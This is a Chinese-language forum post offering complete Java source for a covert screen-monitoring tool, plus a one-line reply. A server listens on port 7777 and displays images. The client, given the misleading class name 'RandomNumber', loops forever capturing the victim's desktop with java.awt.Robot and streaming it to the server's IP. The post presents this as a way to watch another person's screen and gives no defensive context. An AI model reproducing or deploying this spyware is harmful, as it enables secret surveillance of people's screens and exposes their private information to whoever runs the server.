找回密码
 注册

QQ登录

只需一步,快速开始

查看: 1004|回复: 1

java监控对方屏幕小程序

[复制链接]

10

主题

10

帖子

0

积分

新手上路

威望
30 点
金币
0
注册时间
2013-5-14
最后登录
2013-5-24
在线时间
1 小时
听众
4
收听
0
发表于 2013-5-18 18:46 | 显示全部楼层 |阅读模式
服务端
import java.io.*;
import java.net.*;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.util.*;
import javax.imageio.*;
import java.awt.image.*;
public class LDServer{
JFrame frame;
JLabel lab;
ServerSocket ss;
public LDServer()throws Exception{
//对方端口
  ss = new ServerSocket(7777);
  frame = new JFrame("监督别人的内容");
  lab = new JLabel();
  frame.add(lab);
//监控屏幕的大小
  frame.setSize(1366,768);
  frame.setVisible(true);
  frame.setDefaultCloseOperation(3);
  new Thread(){
   public void run(){
    while(true){
     try{
      Socket s = ss.accept();
      BufferedImage img = ImageIO.read(s.getInputStream());
      lab.setIcon(new ImageIcon(img));
     }catch(Exception e){
     }
    }
   }
  }.start();
}
public static void main(String[] args)throws Exception{
  new LDServer();
}
}

客户端
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
import java.util.*;
import java.io.*;
import java.net.*;
import java.awt.image.*;
import javax.imageio.*;
public class RandomNumber{
public static void main(String[] args)throws Exception{
  final Robot bot = new Robot();
  new Thread(){
     public void run(){
      while(true){
       try{
//自己的IP  端口和服务端的端口一样
        Socket socket = new Socket("127.0.0.1",7777);
        OutputStream os = socket.getOutputStream();
//截取桌面图片的大小
        BufferedImage bi = bot.createScreenCapture(new Rectangle(1366,768));
        ImageIO.write(bi,"jpeg",os);
        socket.close();
       }catch(Exception e){
       }
      }
     }
  }.start();
}
}
注:先运行服务端再运行客户端
本文来自于:www.haxiun.com
www.dr96.com       aaiyin.com

0

主题

3998

帖子

4037

积分

论坛元老

威望
4037 点
金币
0
注册时间
2013-3-21
最后登录
2022-10-20
在线时间
0 小时
听众
4
收听
0
发表于 2013-5-18 18:46 | 显示全部楼层
前排,哇咔咔
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表